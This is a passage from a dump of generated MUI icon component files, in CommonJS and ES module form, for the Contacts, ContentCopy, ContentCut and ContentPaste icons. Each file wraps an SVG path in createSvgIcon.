    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16zM4 0h16v2H4zm0 22h16v2H4zm8-10c1.38 0 2.5-1.12 2.5-2.5S13.38 7 12 7 9.5 8.12 9.5 9.5 10.62 12 12 12m0-3.5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m5 7.49C17 13.9 13.69 13 12 13s-5 .9-5 2.99V17h10zm-8.19-.49c.61-.52 2.03-1 3.19-1 1.17 0 2.59.48 3.2 1z\"\n}), 'ContactsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16zM4 0h16v2H4zm0 22h16v2H4zm8-10c1.38 0 2.5-1.12 2.5-2.5S13.38 7 12 7 9.5 8.12 9.5 9.5 10.62 12 12 12m0-3.5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m5 7.49C17 13.9 13.69 13 12 13s-5 .9-5 2.99V17h10zm-8.19-.49c.61-.52 2.03-1 3.19-1 1.17 0 2.59.48 3.2 1z\"\n}), 'ContactsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 0H5c-.55 0-1 .45-1 1s.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1M5 24h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 2.75c1.24 0 2.25 1.01 2.25 2.25s-1.01 2.25-2.25 2.25S9.75 10.24 9.75 9 10.76 6.75 12 6.75M17 17H7v-1.5c0-1.67 3.33-2.5 5-2.5s5 .83 5 2.5z\"\n}), 'ContactsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 0H5c-.55 0-1 .45-1 1s.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1M5 24h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 2.75c1.24 0 2.25 1.01 2.25 2.25s-1.01 2.25-2.25 2.25S9.75 10.24 9.75 9 10.76 6.75 12 6.75M17 17H7v-1.5c0-1.67 3.33-2.5 5-2.5s5 .83 5 2.5z\"\n}), 'ContactsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 0H4v2h16zM4 24h16v-2H4zM22 4H2v16h20zM12 6.75c1.24 0 2.25 1.01 2.25 2.25s-1.01 2.25-2.25 2.25S9.75 10.24 9.75 9 10.76 6.75 12 6.75M17 17H7v-1.5c0-1.67 3.33-2.5 5-2.5s5 .83 5 2.5z\"\n}), 'ContactsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 0H4v2h16zM4 24h16v-2H4zM22 4H2v16h20zM12 6.75c1.24 0 2.25 1.01 2.25 2.25s-1.01 2.25-2.25 2.25S9.75 10.24 9.75 9 10.76 6.75 12 6.75M17 17H7v-1.5c0-1.67 3.33-2.5 5-2.5s5 .83 5 2.5z\"\n}), 'ContactsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6H4v12h16zm-8 1c1.38 0 2.5 1.12 2.5 2.5S13.38 12 12 12s-2.5-1.12-2.5-2.5S10.62 7 12 7m5 10H7v-1.01C7 13.9 10.31 13 12 13s5 .9 5 2.99z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2M4 6h16v12H4zm0-6h16v2H4zm0 22h16v2H4zm8-10c1.38 0 2.5-1.12 2.5-2.5S13.38 7 12 7 9.5 8.12 9.5 9.5 10.62 12 12 12m0-3.5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 4.5c-1.69 0-5 .9-5 2.99V17h10v-1.01C17 13.9 13.69 13 12 13m-3.19 2.5c.61-.52 2.03-1 3.19-1 1.17 0 2.59.48 3.2 1z\"\n}, \"1\")], 'ContactsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6H4v12h16zm-8 1c1.38 0 2.5 1.12 2.5 2.5S13.38 12 12 12s-2.5-1.12-2.5-2.5S10.62 7 12 7m5 10H7v-1.01C7 13.9 10.31 13 12 13s5 .9 5 2.99z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2M4 6h16v12H4zm0-6h16v2H4zm0 22h16v2H4zm8-10c1.38 0 2.5-1.12 2.5-2.5S13.38 7 12 7 9.5 8.12 9.5 9.5 10.62 12 12 12m0-3.5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 4.5c-1.69 0-5 .9-5 2.99V17h10v-1.01C17 13.9 13.69 13 12 13m-3.19 2.5c.61-.52 2.03-1 3.19-1 1.17 0 2.59.48 3.2 1z\"\n}, \"1\")], 'ContactsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCopy.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12zm3 4H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h11c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 16H8V7h11z\"\n}), 'ContentCopy');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCopy.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12zm3 4H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h11c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 16H8V7h11z\"\n}), 'ContentCopy');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCopyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12zm3 4H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h11c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 16H8V7h11z\"\n}), 'ContentCopyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCopyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12zm3 4H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h11c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 16H8V7h11z\"\n}), 'ContentCopyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCopyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 20H5V7c0-.55-.45-1-1-1s-1 .45-1 1v13c0 1.1.9 2 2 2h10c.55 0 1-.45 1-1s-.45-1-1-1m5-4V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2m-2 0H9V4h9z\"\n}), 'ContentCopyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCopyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 20H5V7c0-.55-.45-1-1-1s-1 .45-1 1v13c0 1.1.9 2 2 2h10c.55 0 1-.45 1-1s-.45-1-1-1m5-4V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2m-2 0H9V4h9z\"\n}), 'ContentCopyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCopySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1H2v16h2V3h12zm5 4H6v18h15zm-2 16H8V7h11z\"\n}), 'ContentCopySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCopySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1H2v16h2V3h12zm5 4H6v18h15zm-2 16H8V7h11z\"\n}), 'ContentCopySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCopyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 7h11v14H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12zm3 4H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h11c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 16H8V7h11z\"\n}, \"1\")], 'ContentCopyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCopyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 7h11v14H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12zm3 4H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h11c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 16H8V7h11z\"\n}, \"1\")], 'ContentCopyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCut.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.64 7.64c.23-.5.36-1.05.36-1.64 0-2.21-1.79-4-4-4S2 3.79 2 6s1.79 4 4 4c.59 0 1.14-.13 1.64-.36L10 12l-2.36 2.36C7.14 14.13 6.59 14 6 14c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4c0-.59-.13-1.14-.36-1.64L12 14l7 7h3v-1zM6 8c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m0 12c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m6-7.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5M19 3l-6 6 2 2 7-7V3z\"\n}), 'ContentCut');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCut.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.64 7.64c.23-.5.36-1.05.36-1.64 0-2.21-1.79-4-4-4S2 3.79 2 6s1.79 4 4 4c.59 0 1.14-.13 1.64-.36L10 12l-2.36 2.36C7.14 14.13 6.59 14 6 14c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4c0-.59-.13-1.14-.36-1.64L12 14l7 7h3v-1zM6 8c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m0 12c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m6-7.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5M19 3l-6 6 2 2 7-7V3z\"\n}), 'ContentCut');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCutOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.64 7.64c.23-.5.36-1.05.36-1.64 0-2.21-1.79-4-4-4S2 3.79 2 6s1.79 4 4 4c.59 0 1.14-.13 1.64-.36L10 12l-2.36 2.36C7.14 14.13 6.59 14 6 14c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4c0-.59-.13-1.14-.36-1.64L12 14l7 7h3v-1zM6 8c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m0 12c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m6-7.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5M19 3l-6 6 2 2 7-7V3z\"\n}), 'ContentCutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCutOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.64 7.64c.23-.5.36-1.05.36-1.64 0-2.21-1.79-4-4-4S2 3.79 2 6s1.79 4 4 4c.59 0 1.14-.13 1.64-.36L10 12l-2.36 2.36C7.14 14.13 6.59 14 6 14c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4c0-.59-.13-1.14-.36-1.64L12 14l7 7h3v-1zM6 8c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m0 12c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m6-7.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5M19 3l-6 6 2 2 7-7V3z\"\n}), 'ContentCutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCutRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.64 7.64c.29-.62.42-1.33.34-2.09-.19-1.73-1.54-3.2-3.26-3.49-2.77-.48-5.14 1.89-4.66 4.65.3 1.72 1.76 3.07 3.49 3.26.76.08 1.46-.05 2.09-.34L10 12l-2.36 2.36c-.62-.29-1.33-.42-2.09-.34-1.73.19-3.2 1.54-3.49 3.26-.48 2.77 1.89 5.13 4.65 4.65 1.72-.3 3.07-1.76 3.26-3.49.08-.76-.05-1.46-.34-2.09L12 14l7.59 7.59c.89.89 2.41.26 2.41-1v-.01c0-.37-.15-.73-.41-1zM6 8c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m0 12c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m6-7.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m7.59-10.09L13 9l2 2 6.59-6.59c.26-.26.41-.62.41-1V3.4c0-1.25-1.52-1.88-2.41-.99\"\n}), 'ContentCutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCutRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.64 7.64c.29-.62.42-1.33.34-2.09-.19-1.73-1.54-3.2-3.26-3.49-2.77-.48-5.14 1.89-4.66 4.65.3 1.72 1.76 3.07 3.49 3.26.76.08 1.46-.05 2.09-.34L10 12l-2.36 2.36c-.62-.29-1.33-.42-2.09-.34-1.73.19-3.2 1.54-3.49 3.26-.48 2.77 1.89 5.13 4.65 4.65 1.72-.3 3.07-1.76 3.26-3.49.08-.76-.05-1.46-.34-2.09L12 14l7.59 7.59c.89.89 2.41.26 2.41-1v-.01c0-.37-.15-.73-.41-1zM6 8c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m0 12c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m6-7.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m7.59-10.09L13 9l2 2 6.59-6.59c.26-.26.41-.62.41-1V3.4c0-1.25-1.52-1.88-2.41-.99\"\n}), 'ContentCutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCutSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.64 7.64c.23-.5.36-1.05.36-1.64 0-2.21-1.79-4-4-4S2 3.79 2 6s1.79 4 4 4c.59 0 1.14-.13 1.64-.36L10 12l-2.36 2.36C7.14 14.13 6.59 14 6 14c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4c0-.59-.13-1.14-.36-1.64L12 14l7 7h3v-1zM6 8c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m0 12c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m6-7.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5M19 3l-6 6 2 2 7-7V3z\"\n}), 'ContentCutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCutSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.64 7.64c.23-.5.36-1.05.36-1.64 0-2.21-1.79-4-4-4S2 3.79 2 6s1.79 4 4 4c.59 0 1.14-.13 1.64-.36L10 12l-2.36 2.36C7.14 14.13 6.59 14 6 14c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4c0-.59-.13-1.14-.36-1.64L12 14l7 7h3v-1zM6 8c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m0 12c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m6-7.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5M19 3l-6 6 2 2 7-7V3z\"\n}), 'ContentCutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCutTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 3-6 6 2 2 7-7V3zm-9 3c0-2.21-1.79-4-4-4S2 3.79 2 6s1.79 4 4 4c.59 0 1.14-.13 1.64-.36L10 12l-2.36 2.36C7.14 14.13 6.59 14 6 14c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4c0-.59-.13-1.14-.36-1.64L12 14l7 7h3v-1L9.64 7.64c.23-.5.36-1.05.36-1.64M6 8c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m0 12c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m6-8.5c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5\"\n}), 'ContentCutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentCutTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 3-6 6 2 2 7-7V3zm-9 3c0-2.21-1.79-4-4-4S2 3.79 2 6s1.79 4 4 4c.59 0 1.14-.13 1.64-.36L10 12l-2.36 2.36C7.14 14.13 6.59 14 6 14c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4c0-.59-.13-1.14-.36-1.64L12 14l7 7h3v-1L9.64 7.64c.23-.5.36-1.05.36-1.64M6 8c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m0 12c-1.1 0-2-.89-2-2s.9-2 2-2 2 .89 2 2-.9 2-2 2m6-8.5c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5\"\n}), 'ContentCutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPaste.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2h-4.18C14.4.84 13.3 0 12 0S9.6.84 9.18 2H5c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m7 18H5V4h2v3h10V4h2z\"\n}), 'ContentPaste');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPaste.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2h-4.18C14.4.84 13.3 0 12 0S9.6.84 9.18 2H5c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m7 18H5V4h2v3h10V4h2z\"\n}), 'ContentPaste');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteGo.js",
